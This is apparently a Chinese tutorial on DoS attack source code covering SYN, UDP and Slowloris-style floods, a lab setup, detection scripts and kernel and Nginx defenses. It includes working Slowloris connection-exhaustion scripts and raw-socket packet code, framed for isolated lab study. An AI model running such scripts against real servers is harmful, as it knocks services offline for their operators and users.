简介:一份以DoS拒绝服务攻击为主题的源代码学习包,面向网络安全方向学生、运维人员及对渗透测试感兴趣的读者,用于通过阅读实际代码理解攻击机制,并为后续防御方案提供思路。压缩包共6个文件,核心为一个C++源文件,其余是Visual C++工程与项目选项类配置文件,整体仅11KB,轻量且便于逐行查看。学习时可以重点分析SYN Flood、Ping Flood、UDP Flood等典型形式的实现骨架,结合TCP三次握手、ICMP回显以及无连接UDP协议的脆弱点,系统梳理攻击数据包从构造到发送的关键环节。同时注意对比DDoS分布式攻击与单点DoS在规模、溯源难度上的差异,由此延伸到防火墙过滤、限速、流量清洗、系统补丁等防护策略。已有511人学习下载,适合作为入门级安全分析样本,但务必仅用于教学研究,杜绝用于实际攻击行为。
1. 看懂DOS拒绝服务攻击源代码:先把它当成防御教材,而不是攻击工具
把"DOS拒绝服务攻击源代码"这几个字丢进搜索引擎的人,一半是刚转安全方向的新手,另一半是被线上故障逼疯的运维。这里说的DOS和微软老系统MS-DOS没有任何关系,它是Denial of Service的缩写,对应中文"拒绝服务攻击"。研究这类源码最大的价值恰恰不在"攻击"两个字上:任何一个状态机设计、超时参数和流量控制逻辑,反过来读就是一套防御规则。本文会带你从源码结构、隔离环境复现一路走到防护配置,所有代码都限定在可控范围内,新手能照着搭出第一个实验闭环,熟手可以直接抄第6章的防御参数。
2. 从三次握手到慢速请求:三类DOS攻击的代码层原理
2.1 SYN Flood:半开连接是怎么被状态机放大的
先明确最基础的知识:TCP建立连接要三次握手。客户端发SYN,服务端回SYN+ACK,客户端再回ACK,连接才算建立。SYN Flood的攻击思路就是只发SYN、永远不回最后的ACK,让服务端一直停在SYN_RECV状态傻等超时。这些半开连接塞满内核的连接队列之后,正常用户的SYN包就只能排队等超时,业务自然就断了。
从源码拆解,攻击程序的核心只有三块:构造SYN包、循环发送、伪装源IP。构造IP头和TCP头的代码在网络编程教科书里都能找到,核心结构是这样:
# syn_header_demo.py —— 仅演示TCP头结构,非完整可运行脚本 import struct def build_tcp_header(src_port, dst_port, seq, syn_flag=0x02): # TCP固定头20字节:源端口/目的端口/序号/标志位/窗口等 offset_flags = (5 << 12) | syn_flag # 数据偏移5个32位字 + SYN标志 header = struct.pack( '!HHIIBBHHH', src_port, # 源端口,随机即可 dst_port, # 目标端口 seq, # 初始序号,伪造时常用随机数 0, # 确认号,SYN包不需要 offset_flags >> 8, # 数据偏移+保留位 offset_flags & 0xFF, # 标志位 65535, # 窗口大小 0, # 校验和,此处省略 0 # 紧急指针 ) return header这段代码的关键在flags的组装:(5 << 12) | 0x02表示头部长度20字节且SYN标志位置1。校验和的计算需要TCP伪头参与,实际工具里必须实现,否则对端内核直接丢包。这也是初学者自己写发包代码时最常见的翻车点:看别人的工具源码几年没跑通,最后发现是校验和少算了两字节。SYN Flood为什么比连接保持型攻击更省资源?因为攻击端不需要维护socket、不需要完成握手,一个for循环就能源源不断生成半开连接,而服务端要为每个SYN分配一块传输控制块,几百MB内存很快就被耗干。
2.2 UDP Flood 与 ICMP Flood:无连接协议为什么容易被放大
UDP没有三次握手,攻击代码只需要往目标端口灌数据报。如果目标端口没有服务监听,内核会回一个ICMP端口不可达,这些回包又占一次处理开销。更难缠的是UDP可以被放大:NTP、memcached这类服务,用很小的请求字节就能触发大体积响应,攻击者把源IP伪造成受害目标,服务端就会把放大后的流量打向受害者。这类攻击源码比SYN Flood更短,核心就是高频sendto,真正的工程难点在于保持高PPS的同时不让本机sendto调用成为瓶颈。
常见优化手段有两条:一是多线程绑定多核,每个线程用独立的socket发送;二是用DPDK这类用户态协议栈绕过内核。读这类源码不需要逐行分析网络库,重点看两个参数:报文大小和发送间隔。很多实现默认用512字节或1024字节的报文,这是经过测试的折中值——太小了包转发率上不去,太大了带宽消耗快但PPS指标上不去。做实验时一定要盯着出口带宽,UDP Flood很容易把网卡跑满,整台宿主机的CPU都被软中断吃掉。
2.3 HTTP慢速攻击:应用层里最隐晦的一种
应用层攻击不依赖大流量,而是依赖低速率和长时间占用。Slowloris是这类攻击的经典代表:客户端建立HTTP连接后,不断发送不完整的HTTP请求头,每次只发几个字节,间隔十几秒再发下一段,让服务端认为连接仍然活跃。Web服务器每个连接都占用一个worker线程或协程,这些连接长期挂起,线程池耗尽之后新用户自然进不来。
这类源码与网络层攻击完全不同,不需要原始套接字,一个普通TCP客户端就能实现。我写过一个实验版本,连接数硬上限设了20,核心逻辑是连接池管理和定时发送:
# slowloris_mini_demo.py —— 实验用途,仅限本地靶机,连接数上限20 import socket import threading import time TARGET = ("192.168.56.101", 80) MAX_SOCKETS = 20 # 受控实验,绝不调大 def hold_connection(index): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(TARGET) # 发一个不完整的请求头,末尾没有\r\n\r\n s.send(b"GET / HTTP/1.1\r\nHost: test\r\n") while True: s.send(b"X-A: %d\r\n" % index) # 每隔10秒补一点数据 time.sleep(10) except socket.error: pass for i in range(MAX_SOCKETS): t = threading.Thread(target=hold_connection, args=(i,)) t.start() time.sleep(0.2)这段代码展示的是连接占用思路,不是完整攻击工具,关键位置我加了硬上限。慢速攻击难防御的原因在于流量特征接近正常用户,Nginx的client_header_timeout、keepalive_timeout都需要配合调优,但参数调太小又会误伤正常弱网用户,这就是它让运维头疼的地方。
三类攻击的核心逻辑差异可以总结成一张表:
| 攻击类型 | 关键系统资源 | 最核心代码逻辑 | 最小流量特征 |
|---|---|---|---|
| SYN Flood | TCP控制块/半开队列 | 构造SYN并循环发送 | 高PPS小报文 |
| UDP/ICMP Flood | 出口带宽/回包处理 | 高频sendto并可放大 | 大流量高带宽 |
| HTTP慢速攻击 | 线程池/连接数 | 保持连接不结束 | 低速率长连接 |
理解了这张表,后面读源码就不会被各种变种工具带偏:名字再花哨,本质上都落在这三类里。
3. 源码目录怎么读:发包、状态维护与自保护的四个关键模块
3.1 发包引擎:原始套接字与普通套接字的选择
打开一份典型的C语言DOS源码,首先要读的文件往往是send.c或者flood.c。里面会有一个明确选择:用raw socket自己构造整个IP包,还是用普通socket让内核处理网络层。SYN Flood必须用raw socket,因为要伪造源IP、控制TCP头的每一个标志位;UDP Flood不一定需要raw socket,只想灌流量的话一个普通SOCK_DGRAM就够,伪造源IP才需要SOCK_RAW。
这个选择决定后面代码的复杂程度。raw socket意味着所有校验和、分片、路由都要自己处理,IPv4头20字节加TCP头20字节,结构不算难但必须逐字段写对。创建套接字这一步经常被新手忽略:
// raw_socket_demo.c —— 只演示套接字创建选项,不包含完整攻击逻辑 #include <sys/socket.h> #include <arpa/inet.h> int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); int one = 1; // IP_HDRINCL 告诉内核:IP头由用户空间填充,内核不再自动添加 setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));IPPROTO_RAW加上IP_HDRINCL是读这类源码的第一个门槛。设置了IP_HDRINCL之后,内核不再帮你生成IP头,也意味着你必须自己处理IP头的校验和。我读源码的习惯是先在本地起一个tcpdump抓包,确认发出的包格式符合预期,再去看攻击逻辑。很多标着"最新"的工具其实只是把经典代码里的IP头结构体换了字段名,不要被名字唬住。
3.2 连接状态机:攻击代码为什么也在维护一张表
听起来反直觉,但多数成熟的攻击代码内部同样维护一张socket状态表。原因很简单:不管是SYN Flood还是慢速攻击,都需要知道哪些连接已经发了、哪些被服务端接受了、哪些该重置。攻击端维护的这张表通常是哈希表,键是四元组(源IP、源端口、目标IP、目标端口),值是对应连接状态。
这个设计值得仔细看。表的大小和清理策略决定攻击代码能不能长时间运行。如果只发包不检查结果,内存会随着连接数线性增长,目标还没倒下,自己的进程先被OOM Killer干掉。我在实验环境里见过不少这类"伤敌八百自损一千"的代码。反过来,防御方向同样能用这套状态机理论:半开连接表的容量和老化时间,正是SYN Cookie机制要解决的数学问题。
3.3 速率控制模块:PPS、带宽与随机延时
攻击源码里的关键模块是速率控制,通常表现为每轮循环的sleep(usleep)调用。不要小看这几行延时,它决定三个指标:每秒发包数(PPS)、占用的带宽、以及源端口随机化的频率。延时设太短,输出网卡队列直接丢包;设太长,半开连接数爬不上去,达不到打满目标队列的效果。
# rate_control_demo.py —— 演示速率控制思路,非攻击脚本 import time packets_per_second = 1000 # 目标PPS interval = 1.0 / packets_per_second for seq in range(10000): # send_packet(seq) # 这里替换为实际的发包逻辑 time.sleep(interval * 0.9) # 留10%余量,避免系统调度抖动注意延时留了10%余量。系统定时器本身有误差,sleep返回时间通常略大于设定值,如果精确按1/PPS设延时,实际PPS会低于预期,这就是为什么参数调好之后要先小规模跑10万包验证实际速率。自己复现实验时不要上来就跑满网卡,先把延时调到10万包不丢包,再逐步收紧。这个"先稳后快"的节奏和压测工具wrk、ab的调法一致,不要为了追求数字好看把实验环境搞崩。
3.4 源IP随机化与运行期自保护
最后要读的是自保护逻辑,常见的有三块:源IP随机化、退出信号处理、日志抑制。源IP随机化是拉高防御成本的核心手段:固定一个IP,防火墙一条规则就全部拦死;随机化之后,上游设备只能按速率或报文指纹(TTL、窗口大小、IP头ID字段)来识别。防御方看到这个模块就应该明白,静态IP黑名单很脆弱,必须结合速率限制才能挡住。
退出信号处理很少被提到,但做过实验的人会深有体会:Ctrl+C之后,残留线程还在发UDP包,后台进程占着raw socket不放开,网卡都清不干净。好一点的源码里总有signal_handler,收到SIGINT后先停线程池、再关socket、最后写日志。这套收尾顺序放在正常业务代码里同样是值得抄的习惯。
4. 在本地搭一套最小实验闭环:流量生成、观测与自断
4.1 搭建隔离测试环境:VirtualBox双虚拟机加禁用转发
读源码不如亲手复现,但前提是环境必须隔离。我常用的方案是VirtualBox里两台虚拟机,一台当靶机跑Nginx,一台当流量源,网络模式选"内部网络",确保双向流量无法到达物理网卡。物理机和虚拟机之间不开端口转发,避免实验流量意外流出。
# 靶机(Ubuntu Server)上执行,确认IP和必要参数 ip addr show enp0s3 ip route sudo sysctl -w net.ipv4.tcp_max_syn_backlog=256 # 调小半开队列,便于观察 sudo sysctl -w net.ipv4.tcp_syncookies=0 # 先关SYN Cookie,观察裸状态这里把tcp_max_syn_backlog调到256,是为了让半开队列更快被打满,方便观察状态变化。tcp_syncookies先关掉,因为要复现最原始的半开现象,开了SYN Cookie之后攻击往往达不到预期效果。生产环境千万别这样调,这两条命令只属于实验场景。
提示:实验流量必须隔离在内部网络,不要让靶机或流量机有任何通往外部的路由,这是底线。
4.2 编写受限的压力脚本:连接保持型实验在500个连接以内
第2章展示过Slowloris思路的代码,这一节给一个连接保持型压力脚本,用来理解长连接如何耗尽线程池。所有参数都加了硬上限,适合在4.1的隔离环境里跑。
# connection_pressure_test.py import socket import threading import time TARGET_HOST = "192.168.56.102" # 靶机地址,仅限内部网络 TARGET_PORT = 80 MAX_CONNECTIONS = 500 # 硬上限:500个连接,绝不放大 stop_event = threading.Event() def hold(index): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) s.send(b"GET / HTTP/1.1\r\nHost: target\r\n") while not stop_event.is_set(): s.send(b"X-Keep-Alive: %d\r\n" % index) time.sleep(8) except socket.error: pass finally: s.close() threads = [] for i in range(MAX_CONNECTIONS): t = threading.Thread(target=hold, args=(i,)) t.start() threads.append(t) if i % 50 == 0: print(f"已建立 {i+1} 个连接") time.sleep(0.5) # 分批发,不瞬间打满 print("实验进行中,按Ctrl+C观察清理逻辑") stop_event.wait()需要注意三个细节。第一,time.sleep(0.5)每50个连接停一下,是为了观察内存和线程数的爬升曲线,而不是一上来就打崩系统;第二,每个线程持有的是普通TCP socket,不走raw socket,所以不需要root权限;第三,stop_event是给你留的后悔药,按Ctrl+C后主线程统一关闭所有连接。测试过程中去靶机上跑ss -tan | grep ESTAB | wc -l,能看到连接数逐步逼近上限。
4.3 观测半开连接与耗尽现象:ss、netstat与nstat三件套
实验做得到不到位,看观测工具用得对不对。在靶机上开一个终端,用下面的命令实时观察:
watch -n 1 'ss -tan state syn-recv | wc -l' # 半开连接数 watch -n 1 'ss -tan | wc -l' # 总计连接数 netstat -s | grep -A 5 "SYN" # 累计收发统计ss -tan state syn-recv是观察SYN现象的核心命令,数字爬升说明状态机正被打满。netstat -s里的SYN重传次数会猛增,内核每秒都在重传SYN+ACK,等待那个永远不来的ACK。不要只盯一个指标,把连接总数和重传计数一起看,才能区分是网络丢包还是攻击导致。攻击结束后数字不会立刻归零,TCP有TIME_WAIT超时,等两分钟再观测才是干净基线。
4.4 检测脚本与自动断网:把安全响应浓缩在一个命令里
实验环境里还要写一个检测脚本,模拟真实的告警与阻断动作。这个脚本的阈值逻辑可以直接迁移到生产环境的监控系统里。
# detect_and_block.py import subprocess import time SYN_RECV_THRESHOLD = 300 # 超过300条半开连接判定为异常 def get_syn_recv_count(): result = subprocess.check_output( "ss -tan state syn-recv | wc -l", shell=True ).decode().strip() return int(result) if __name__ == "__main__": while True: count = get_syn_recv_count() if count > SYN_RECV_THRESHOLD: print(f"[告警] syn-recv连接数 {count} 超过阈值 {SYN_RECV_THRESHOLD}") subprocess.call("iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT", shell=True) subprocess.call("iptables -A INPUT -p tcp --syn -j DROP", shell=True) print("[阻断] 已限制SYN速率,实验连接将逐步清理") break time.sleep(2)这段脚本的价值在于把"发现半开连接异常"和"执行阻断"放在一个循环里,生产环境对应的是监控系统触发WAF策略。注意limit-burst 20表示突发20个SYN内放行,超过后每秒只允许10个SYN进来,这两个参数要按真实业务QPS来调,没有通用值。实验结束后清空规则:
iptables -F # 清空全部规则,仅限实验靶机 ss -tan state syn-recv | wc -l # 确认数量归零5. 避坑指南:复现DOS攻击实验的5个常见翻车点
5.1 现象:实验直接把宿主机打到卡死,鼠标都动不了
原因:攻击脚本没有限制连接数或发送速率,半开连接和线程数同时涨,宿主机的进程表和内存先被耗尽。很多新手直接拷贝网上脚本,里面的默认参数就是"打死对方"的量级,结果自己的虚拟机先被搞死。
解决:所有实验参数先按第4章的硬上限来,连接数设500以内,发送间隔保持time.sleep(0.5)级别,先跑通10分钟再逐步收紧。物理机上运行top观察内存占用,一旦剩余内存低于500MB立刻停掉脚本。
5.2 现象:伪造源IP之后,靶机收不到任何流量
原因:伪造源IP意味着目标回包没有合法路由,数据能送到但回包丢在网关或虚拟交换机里,现象就是靶机tcpdump上什么都看不到。另外很多虚拟化平台的网卡驱动会过滤MAC地址不匹配的IP包,伪造IP在虚拟机之间常常直接被丢弃。
解决:本地实验不要执着于源IP伪造,用真实IP做连接耗尽实验一样能把原理跑通。想验证伪造效果,就给靶机接一个tcpdump并在虚拟交换机上关掉反欺骗,但这是折腾环境而不是技术核心,别让环境问题卡住主线。
5.3 现象:攻击脚本在跑,靶机却一点反应都没有
原因:大概率是本地防火墙把流量静默丢弃了。Ubuntu默认开ufw,有些最小化镜像的iptables规则在INPUT链上直接DROP所有非白名单流量,攻击流量根本到不了应用层。
解决:先看iptables -L INPUT -n和ufw status,确认没有拦截规则;再在靶机上用tcpdump -i any port 80抓包,确认数据包真的到了网卡。如果到了但应用没反应,去看Nginx或Apache的error_log,可能是worker进程数配太少。
5.4 现象:实验流量把公司网络或服务器告警触发
原因:哪怕脚本限速了,大量半开连接也会被网关的IDS、云平台安全组、或者隔壁运维的监控系统识别为扫描和攻击流量,轻则告警,重则端口被临时封禁。
解决:实验网络必须物理隔离,只允许虚拟机内部网络通信,出口路由全部删掉。切勿拿公司测试服务器、公网IP或云主机当靶机。这是最容易被约谈的一条,没有之一。
5.5 现象:源码里的超时参数调错,效果和预期差一个数量级
原因:SYN攻击的成功率不仅取决于发送速率,还取决于内核重传机制。默认net.ipv4.tcp_synack_retries=5会让服务端在首次SYN+ACK丢失后重传5次,放大了半开连接的内存占用时间;但把它调成0,半开连接很快超时释放,内存占用反而降下来。内核里这些重传参数一直有点玄学,不少人只调了队列长度没调重传参数,效果天差地别。
解决:复现实验时按照第4章的命令把tcp_synack_retries调成1、tcp_max_syn_backlog调成256,让现象在可控范围里出现。做防御验证再把这些参数改回去,前后成对记录,避免参数污染影响结论。
6. 从源码到防线:三组可直接抄的防御参数与验证方法
6.1 半开连接超时与SYN Cookie:最便宜的第一道防线
把第4章实验环境里改掉的参数恢复成防御态,就是一套立即可用的基线:
sysctl -w net.ipv4.tcp_syncookies=1 sysctl -w net.ipv4.tcp_max_syn_backlog=4096 sysctl -w net.ipv4.tcp_synack_retries=1 sysctl -w net.ipv4.tcp_abort_on_overflow=1tcp_abort_on_overflow在队列满时直接丢弃新SYN,保护已有连接不被打断,配合SYN Cookie效果很好。注意tcp_synack_retries=1会加快半开连接回收,适合SYN频繁的公网入口,常规内网服务保持默认即可。
6.2 应用层慢速攻击的防线:Nginx的四个超时参数
针对低速率长连接,核心思路是让空闲连接快速释放:
client_header_timeout 10s; client_body_timeout 10s; keepalive_timeout 15s; send_timeout 10s;关键是keepalive_timeout不要低于15秒,否则正常用户的图片和接口请求会被误断,这个值要结合前端页面加载耗时来调。验证方法是把第4章的连接保持脚本跑起来,观察ESTAB连接数是否在10秒内回落。
6.3 验证方法:攻击脚本与防御规则的黑盒对比
最后分享一个我常用的验证习惯:防御规则改完,不要只看"服务通不通",要量化。在流量源记录每秒丢包数和连接成功率,在靶机上记录半开连接峰值和请求成功比例,两条数据曲线对比,差距拉开一个数量级才算规则生效。我曾经只调大了backlog没调重传参数,看起来业务没断,实际上半开连接还是堆在队列里出不去,属于典型的白白忙活。用这个量化对比方法之后才发现问题出在哪。
研究攻击源码这件事,最大的价值是让你在被攻击之前就知道对方代码里每一个参数的意思。攻击代码里的状态机、超时和速率控制,反过来读全是防御手册。这个思路希望帮到你,下次拿到新工具先拆它的发包引擎和状态维护,防线自然就出来了。
本文还有配套的精品资源,点击获取